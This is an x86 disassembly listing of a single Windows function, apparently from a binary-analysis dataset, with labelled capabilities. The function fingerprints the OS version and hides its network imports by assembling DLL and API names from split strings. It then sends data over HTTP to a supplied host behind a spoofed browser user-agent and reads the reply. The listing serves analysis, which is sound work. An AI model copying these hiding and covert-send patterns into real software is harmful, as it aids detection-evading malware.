Function at 0x401a6c
Capabilities:
Check os version
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4d518
call fcn.00405740
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x10], edx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push eax
mov dword [ebp - 0xc4], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
je 0x401c10
xor ebx, ebx
cmp dword [ebp - 0xb4], ebx
jne 0x401ac0
push 0x407418
push str.W_s2
jmp 0x401c1a
cmp dword [ebp - 0xb4], 1
jne 0x401bd0
cmp dword [ebp - 0xbc], ebx
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
jne 0x401b60
lea eax, [ebp - 0xb0]
push 0x42
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x401b10
lea eax, [ebp - 0xb0]
push 0x43
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x401b10
push str.dows_9
push str.Win_s5
jmp 0x401c1a
cmp dword [ebp - 0xbc], ebx
jne 0x401b60
lea eax, [ebp - 0xb0]
push 0x42
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401b38
push str.ndows_95_OS
push str.Wi_sR_2
jmp 0x401c1a
cmp dword [ebp - 0xbc], ebx
jne 0x401b60
lea eax, [ebp - 0xb0]
push 0x43
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401b60
push str.dows_95_OSR_2
push str.Win_s.5
jmp 0x401c1a
cmp dword [ebp - 0xbc], 0xa
jne 0x401baf
lea eax, [ebp - 0xb0]
push 0x41
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x401b89
push str.ndows_9
push str.Wi_s8
jmp 0x401c1a
cmp dword [ebp - 0xbc], 0xa
jne 0x401baf
lea eax, [ebp - 0xb0]
push 0x41
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401baf
push str.ows_98_Second_Ed
push str.Wind_sition
jmp 0x401c1a
cmp dword [ebp - 0xbc], 0x5a
jne 0x401bc4
push str.ows_Millenium_Edi
push str.Wind_stion
jmp 0x401c1a
push str.own_Windo
push str.Unkn_sws
jmp 0x401c1a
cmp dword [ebp - 0xb4], 2
jne 0x401c26
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [ebp - 0xb8]
and eax, 0xffff
push eax
lea eax, [ebp - 0x1258]
push dword [ebp - 0xbc]
push dword [ebp - 0xc0]
push str.ndows_N
push str.Wi_sT__d._d._d__s
push eax
call esi
add esp, 0x1c
jmp 0x401c26
push str.nown_O
push str.Unk_sS
lea eax, [ebp - 0x1258]
push eax
call esi
add esp, 0xc
push str..DLL
push 0x407334
push 0x407330
lea eax, [ebp - 0x128]
push str._s_s2_s
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x128]
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x18c]
push 0x407324
push 0x407320
push str._s_sd
push eax
call esi
lea eax, [ebp - 0x18c]
push eax
call edi
add esp, 0x14
lea eax, [ebp - 0x2b8]
push 0x407314
push str.s_set
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x401cc7
cmp ebx, 4
jle 0x401cc7
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [ebp - 0x18c]
push eax
push ebx
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x2b8]
push eax
push ebx
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x4138]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
lea eax, [ebp - 0x20]
push 0x10
push edi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x30]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp dword [ebp + 0x20], edi
mov dword [ebp - 0x2c], edi
mov word [ebp - 0x30], 2
jne 0x401d09
push dword [ebp - 4]
jmp 0x401d0c
push dword [ebp + 0x20]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401d20
or eax, 0xffffffff
jmp 0x4020b2
cmp dword [ebp + 0x24], 0
push 0x50
pop eax
je 0x401d33
push dword [ebp + 0x24]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov word [ebp - 0x20], 2
mov eax, dword [edi + 0xc]
push 0
push 1
push 2
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
call dword [ebp - 0xc]
mov ebx, eax
or edi, 0xffffffff
cmp ebx, edi
mov dword [ebp + 0x24], ebx
je 0x401d8c
lea eax, [ebp - 0x30]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x401d85
lea eax, [ebp - 0x20]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x401d93
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, edi
jmp 0x4020b2
lea eax, [ebp - 0x3fa8]
push 0x407cd8
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x18]
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push 0x407308
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
cmp dword [ebp + 0x20], 0
push dword [ebp + 0xc]
je 0x401e03
push dword [ebp - 4]
lea eax, [ebp - 0x1898]
push 0x407304
push 0x407300
push str._s_sp:___s_s
push eax
call esi
lea eax, [ebp - 0x1898]
push eax
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
jmp 0x401e11
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x3fa8]
push 0x4072ec
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push 0x4072e8
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x1f0]
push str..0_r_nHo
push str._1_sst:
push eax
call esi
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp - 4]
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
lea eax, [ebp - 0x1258]
push eax
push str.tible__MSIE_7.
push str.nt:_Mozil
push str.er_Ag
push 0x4072ac
lea eax, [ebp - 0x14b0]
push str._s_se_sla_4.0__compa_s0___s__.NET_CLR_2.0.50727__.NET_CLR_3.0.4506.2152__.NET_CLR_3.5.30729_
push eax
call esi
mov edi, 0x407248
lea eax, [ebp - 0x3fa8]
push edi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x14b0]
push eax
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push edi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x34
cmp dword [ebp + 0x1c], 0
je 0x401ee3
push dword [ebp + 0x1c]
lea eax, [ebp - 0x3fa8]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x3fa8]
push str.Conn
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push str.ection:_close
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push edi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x6a0]
push 0x40722c
push 0x407228
push str._s_st
push eax
call esi
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x1c
test eax, eax
jne 0x401fb3
lea eax, [ebp - 0x3fa8]
push 0x40721c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push str.ntent_L
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push 0x407210
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3fa8]
push str.th:
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x3fa8]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x3fa8]
push str._s_ld_r_n
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x3fa8]
push edi
push eax
call sub.MSVCRT.dll_strcat
pop ecx
xor edi, edi
pop ecx
lea eax, [ebp - 0x3fa8]
push edi
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x3fa8]
push eax
push ebx
call dword [ebp - 8]
test eax, eax
jle 0x402015
xor esi, esi
cmp dword [ebp + 8], edi
jbe 0x402015
lea ecx, [esi + 0x2800]
mov eax, 0x2800
cmp ecx, dword [ebp + 8]
jbe 0x401ffe
mov eax, dword [ebp + 8]
sub eax, esi
push edi
push eax
mov eax, dword [ebp - 0x10]
add eax, esi
push eax
push ebx
call dword [ebp - 8]
add esi, eax
cmp eax, edi
jle 0x402015
cmp esi, dword [ebp + 8]
jb 0x401fe9
mov esi, 0x493e0
lea eax, [ebp - 0x4d518]
push esi
push 5
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x4d518]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp dword [ebp + 0x10], edi
je 0x402048
mov eax, dword [ebp + 0x14]
cmp eax, edi
je 0x402048
mov dword [eax], edi
mov esi, dword [sym.imp.WS2_32.dll_recv]
mov edi, 0x400
push 0
lea eax, [ebp - 0x4d518]
push edi
push eax
push dword [ebp + 0x24]
lea ebx, [ebp - 0x4d518]
call esi
test eax, eax
jle 0x402086
add ebx, eax
cmp dword [ebp + 0x10], 0
je 0x40207d
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x40207d
add dword [ecx], eax
push 0
push edi
push ebx
push dword [ebp + 0x24]
jmp 0x402066
push dword [ebp + 0x24]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp + 0x10], 0
je 0x4020b0
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4020b0
push dword [eax]
lea eax, [ebp - 0x4d518]
push eax
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x20